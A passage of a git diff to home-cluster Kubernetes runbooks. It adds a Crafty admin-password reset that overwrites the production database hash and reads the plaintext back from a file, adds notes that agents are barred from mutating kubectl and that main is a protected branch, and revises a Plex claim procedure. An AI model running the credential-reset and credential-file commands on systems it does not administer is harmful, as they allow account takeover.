+c   = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
+cur = c.execute(
+    \"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
+    (PasswordHasher().hash(pw), str(now),
+     str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
+)
+c.commit()
+print(\"rows updated:\", cur.rowcount)
+out = \"/crafty/app/config/reset-creds.txt\"
+open(out, \"w\").write(pw + chr(10))
+os.chmod(out, 0o600)
+print(\"new password written to\", out)
+"'
+```
+
+Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
+# after signing in and rotating:
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
+```
+
+`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
+`password` column) and retry against the right one:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+print([r[0] for r in c.execute(\"SELECT username FROM users\")])
+"'
+```
+
+`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
+retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
+costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
+
+## When to escalate or stop
+
+- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
+  bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
+  the PVC.
+- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
+  reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
+- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
+  every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
+  by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
+  `/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
+- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
+  `runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
+  is an IdP or client-secret problem and no Crafty password will help.
+- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
+  hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
+  you think it is. Record what you measured rather than guessing.

runbooks/denied-flows.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/flux-reconcile.md

@@ -7,7 +7,7 @@
 ## What this means here
 
 Something in the GitOps chain is stuck at Ready=False. On this cluster that is more consequential than
-it sounds, because **`git push origin main` IS the deploy** — there is no other apply step. A stuck
+it sounds, because **merging a PR into `main` IS the deploy** — there is no other apply step. A stuck
 Kustomization means git and the cluster have diverged and nothing will close the gap.
 
 The chain has **14 tiers**: `flux-system` → `cilium` → `platform` → `platform-config` →
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/flux-suspended.md

@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/image-automation.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/image-policy-stalled.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-client-secrets.md

@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-db.md

@@ -67,8 +67,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/keycloak-down.md

@@ -59,8 +59,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-control-plane.md

@@ -57,8 +57,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-crashloop.md

@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kubevirt-launch-failed.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/kustomization.yaml

@@ -60,6 +60,9 @@ configMapGenerator:
       - cnpg-exporter=cnpg-exporter.md
       - cnpg-primary-spread=cnpg-primary-spread.md
       - cnpg-wal-growth=cnpg-wal-growth.md
+      # Operator procedure, not alert-linked (Crafty's local login is a second factor behind
+      # the Keycloak gate and its bootstrap password lives only on the PVC).
+      - crafty-admin-credential=crafty-admin-credential.md
       - denied-flows=denied-flows.md
       - flux-reconcile=flux-reconcile.md
       - flux-suspended=flux-suspended.md
@@ -83,7 +86,7 @@ configMapGenerator:
       - node-memory-swap=node-memory-swap.md
       # Operator procedure, not an alert page (no alert links to it — the
       # alert-runbooks-resolvable check treats that as advisory). It is served
-      # because the 4-minute plex.tv claim window is not a thing to go looking
+      # because the plex.tv claim window is short and is not a thing to go looking
       # for in git: /runbooks/plex-claim has to resolve the moment it is needed.
       - plex-claim=plex-claim.md
       - pvc-capacity=pvc-capacity.md

runbooks/longhorn-capacity.md

@@ -83,8 +83,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/longhorn-degraded.md

@@ -74,8 +74,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/longhorn-faulted.md

@@ -75,8 +75,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/monitoring-capacity.md

@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-cpu.md

@@ -49,8 +49,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-disk.md

@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-down.md

@@ -56,8 +56,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-io.md

@@ -227,8 +227,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/node-memory.md

@@ -52,8 +52,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/plex-claim.md

@@ -1,4 +1,4 @@
-# plex-claim — claiming the Plex Media Server inside the 4-minute token window
+# plex-claim — claiming the Plex Media Server inside the token window
 
 **Alert:** none. This is an **operator procedure**, not an incident page — it is indexed here because
 it is the page you need at the moment you need it, with a stopwatch running.
@@ -14,10 +14,11 @@ server to a plex.tv account. It is a **one-shot** operation: the token is exchan
 the `PLEX_CLAIM` env is **ignored on every start** (upstream gate:
 `[ ! -z "${PLEX_CLAIM}" ] && [ -z "${token}" ]` in `root/etc/cont-init.d/40-plex-first-run`).
 
-**A `https://plex.tv/claim` token lives ~4 minutes.** That is shorter than commit → push → Flux's
-10-minute reconcile interval → pod roll if you let those run on their own timers, which is why this
-page exists: every step below is written to be run back-to-back, with the reconcile **forced** rather
-than waited for. Budget: token in hand at T+0, pod restarted by roughly T+2:00.
+**A `https://plex.tv/claim` token is short-lived — minutes, not hours.** Read the countdown the
+claim page shows you; do not budget against a number written here. That is shorter than PR → gate →
+merge → Flux's 10-minute reconcile interval → pod roll if you let those run on their own timers,
+which is why this page exists: the loop is scripted and the reconcile is **forced** rather than
+waited for. Measured end to end on 2026-09-29: **~2m45s**.
 
 **An expired or wrong token does not break anything.** Verified against the image's own first-run
 script (and the copy inside `plexinc/pms-docker:latest`): a failed exchange gets a 403 with an empty
@@ -66,81 +67,84 @@ infra/devcontainer/dev.sh run bash -c \
   'kubectl --context k3s-prod -n flux-system get kustomization apps-wave-0'
 ```
 
-## The 4-minute procedure
+## The procedure
 
-Have this page open and do not stop between steps.
+> **STATUS: this server was CLAIMED on 2026-09-29** and `PlexOnlineToken` is present in
+> `/config` on the `plex-config` PVC. The upstream exchange is gated on that pref being
+> *absent*, so `PLEX_CLAIM` is now a **no-op on every start** whatever it holds. You only need
+> this page again after a `/config` wipe or a rebuild onto an empty PVC.
+
+**On the clock.** The token is short-lived — **read the countdown that plex.tv/claim shows you**
+rather than trusting a number written here. (Earlier revisions of this page asserted a "~4-minute
+TTL" in four places with no citation; upstream `pms-docker` documents no expiry at all. The page
+is the only authority, and it is on screen at T+0.)
+
+**A burnt token costs nothing.** An expired token gets a 403 with an empty body, `curl`'s status is
+never checked, the `if` does not fire, there is no `else` and no `exit 1`, and the script (no
+`set -e`) exits 0. The pod comes up unclaimed and serving. So retry freely.
+
+### One command
 
 1. **T+0 — get the token.** Sign in to plex.tv as the account that should OWN this server, open
-   <https://plex.tv/claim>, copy the `claim-…` string. The clock starts now.
+   <https://plex.tv/claim>, copy the `claim-…` string.
 
-2. **T+0:15 — put it in the Secret**, in place, encrypted, without it ever touching a plaintext file:
+2. **Put it in the Secret** — in place, encrypted, never touching a plaintext file:
 
    ```
    infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
    ```
 
-   Replace the `PLEX_CLAIM:` value (the placeholder `replace-me-with-a-fresh-plex-tv-claim-token`, or
-   a previous expired token) and save. `sops` re-encrypts on write to the committed age recipient.
-
-3. **T+0:45 — commit and push.** `git push origin main` **is** the deploy; there is no other apply
-   step.
+3. **Ship it.** This drives the whole delivery loop and prints a running stopwatch:
 
    ```
-   git add apps/wave-0/plex-claim-secret.sops.yaml
-   git commit -m 'chore(plex): fresh plex.tv claim token'
-   git push origin main
+   ./infra/plex/claim-ship.sh
    ```
 
-4. **T+1:00 — force the reconcile immediately. This is the one command that saves the window** — it
-   pulls the new commit and re-applies wave 0 instead of waiting up to 10 minutes for the interval:
+   branch → commit → push → PR → gate → merge → `flux reconcile --with-source` → `rollout restart`
+   → verdict. It refuses to run if the file is unchanged or not encrypted.
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
-   ```
+**Measured end to end, 2026-09-29: ~2m45s.** Gate ~1m40s, merge + reconcile ~25s, pod roll and
+container start ~30s.
 
-   `--with-source` is the load-bearing flag: it reconciles the `flux-system` GitRepository first, so
-   the Kustomization applies **your commit** and not the previously-fetched revision.
+### Why it is a script and not six pasted commands
 
-5. **T+1:30 — roll the pod.** This step is **mandatory and easy to forget**: a changed Secret does
-   **not** restart anything. `PLEX_CLAIM` is injected by `secretKeyRef` and read only at container
-   start, and the Deployment's pod template is byte-identical across this change, so Flux applies the
-   new Secret and the running pod keeps the old value forever.
+`main` is a **protected branch** — the direct push this page used to instruct is now rejected — so
+the deploy is a PR merged after a green gate. Three of those steps are easy to get wrong under time
+pressure, and two are silent when skipped:
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'kubectl --context k3s-prod -n plex rollout restart deployment/plex'
-   ```
+- **`--with-source` is load-bearing.** Without it the Kustomization applies the previously-fetched
+  revision, not your commit.
+- **The pod roll is mandatory.** Only the Secret's ciphertext changes, so the Deployment's pod
+  template is byte-identical and *nothing restarts on its own*. `PLEX_CLAIM` is read once, at
+  container start. Skip this and the new Secret sits in the cluster while the running pod keeps the
+  old value forever.
+- **The branch is named `feat/…` on purpose.** `act_runner` capacity is 1, and `gate.yml`'s push
+  trigger covers `feature/** fix/** docs/** chore/**` but *not* `feat/**`. A `chore/` branch fires a
+  second redundant run that serialises ahead of the PR run and roughly doubles the wall clock.
 
-6. **T+2:00 — confirm the exchange happened**, in the new pod's init log:
+### Reading the verdict
 
-   ```
-   infra/devcontainer/dev.sh run bash -c \
-     'kubectl --context k3s-prod -n plex logs deploy/plex --since=5m | grep -i -e claim -e token'
-   ```
+* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
+  ⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
+  create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
+* `Attempting…` with **no** success line ⇒ the token was expired or invalid. Nothing is broken; go
+  back to step 1 with a new one.
+* **Neither line** ⇒ the exchange was skipped: `/config` already had a `PlexOnlineToken` (already
+  claimed — the expected case now), or the env did not reach the container. Check by NAME only:
 
-   * `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
-     ⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
-     create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
-   * `Attempting to obtain server token from claim token` with **no** success line ⇒ the token was
-     expired or invalid. Nothing is broken; go back to step 1 with a new token.
-   * **Neither line** ⇒ the exchange was skipped, which means `/config` already had a
-     `PlexOnlineToken` (already claimed) or the env did not reach the container. Check the pod actually
-     has the variable, by NAME only:
-
-     ```
-     infra/devcontainer/dev.sh run bash -c \
-       'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-          -o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
-     ```
+  ```
+  infra/devcontainer/dev.sh run bash -c \
+    'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
+       -o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
+  ```
 
 ## Likely causes, most likely first
 
 When the claim does not take, in order of how often it is the answer here:
 
-1. **The token expired** — you spent more than ~4 minutes, usually in step 3 or waiting on step 4.
-   Symptom: the "Attempting…" line with no success line. Remedy: a new token, and force the reconcile
-   rather than waiting for it.
+1. **The token expired** — you exceeded the countdown, usually by reviewing the PR instead of
+   merging it the moment the gate went green. Symptom: the "Attempting…" line with no success line.
+   Remedy: a new token, and let `claim-ship.sh` drive the loop rather than pasting steps.
 2. **The pod was never restarted** (step 5 skipped). Symptom: no claim log lines at all from a pod
    whose `AGE` predates your push. The Secret is correct in git and in the cluster and the running
    container still holds the placeholder.

runbooks/pvc-capacity.md

@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/targets-down.md

@@ -60,8 +60,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/update-rollback.md

@@ -54,8 +54,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/vpn-down.md

@@ -66,8 +66,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands